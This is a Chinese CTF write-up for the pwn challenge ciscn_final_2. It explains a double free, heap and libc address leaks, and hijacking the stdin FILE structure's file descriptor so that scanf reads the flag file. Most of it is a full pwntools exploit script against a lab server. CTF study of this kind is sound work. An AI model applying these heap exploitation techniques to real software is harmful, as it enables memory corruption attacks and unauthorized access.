ciscn_final_2(堆利用任意地址写4字节+劫持IO流的文件描述符)
程序员文章站
2022-05-15 21:51:38
...
ciscn_final_2
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
创建堆,我们只能写入一个4字节或2字节整数。
Show的时候最多也只能显示4字节数据
Delete功能没有清空指针,并且标志是共有的,因此可以通过add另外一种堆来绕过判断,造成double free。
程序开启了沙箱保护。
显然改one_gadget是不能的了。
初始化函数里,打开了flag的文件描述符,并且将文件描述符复制给了666。
退出时
Scanf会用到_IO_2_1_stdin_结构体,因此,我们可以劫持_IO_2_1_stdin_结构体,修改文件描述符为666.这样,调用scanf的时候,就会从flag文件里读取数据,然后printf输出flag的内容。
程序给我们的glibc版本为2.27,那么可以轻松完成利用。
#coding:utf8
from pwn import *
#sh = process('./ciscn_final_2')
sh = remote('node3.buuoj.cn',26759)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
stdin_filno_s = libc.sym['_IO_2_1_stdin_'] + 0x70
def add(type,number):
sh.sendlineafter('which command?','1')
sh.sendlineafter('TYPE:',str(type))
sh.sendlineafter('your inode number:',str(number))
def delete(type):
sh.sendlineafter('which command?','2')
sh.sendlineafter('TYPE:',str(type))
def show(type):
sh.sendlineafter('which command?','3')
sh.sendlineafter('TYPE:',str(type))
#0
add(1,0x0ABCDEF)
delete(1)
#1~4
for i in range(4):
add(2,0xCDEF)
#构造double free
delete(2)
#注意值必须设置为0,这样不影响后面的tcache堆next指针的判断
add(1,0) #1
delete(2)
#泄露堆地址低4字节
show(2)
sh.recvuntil('your short type inode number :')
heap_low_2byte = int(sh.recvuntil('\n',drop = True))
if heap_low_2byte < 0:
heap_low_2byte += 0x10000
print 'heap_low_2byte=',hex(heap_low_2byte)
#将tcahce节点的next指针指向chunk1
add(2,heap_low_2byte - 0xA0)
add(2,0)
#1放入tcache bin
delete(1)
#修改chunk1的size
add(2,0x30 + 0x20 * 3 + 1)
#不断free chunk,直到填满tcache bin
for i in range(7):
delete(1)
#为了复原标志
add(2,0)
#得到unsorted bin
delete(1)
#泄露main_arena_xx后4字节
show(1)
sh.recvuntil('your int type inode number :')
main_arena_low_4byte = int(sh.recvuntil('\n',drop = True))
if main_arena_low_4byte < 0:
main_arena_low_4byte += 0x100000000
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base_low_4byte = malloc_hook_low_4byte - malloc_hook_s
stdin_filno_low_4byte = libc_base_low_4byte + stdin_filno_s
print 'libc_base_low_4byte=',hex(libc_base_low_4byte)
print 'stdin_filno_low_4byte=',hex(stdin_filno_low_4byte)
#低字节覆盖tcache bin的next指针,使得其指向stdin结构体的fileno成员
add(2,stdin_filno_low_4byte & 0xFFFF)
add(1,0)
#申请到stdin_filno处,修改stdin结构体的fileno为flag文件的fileno
add(1,666)
#scanf从fileno里读出数据,由于fileno被篡改,因此读取的是我们的flag文件
sh.sendlineafter('which command?','4')
sh.interactive()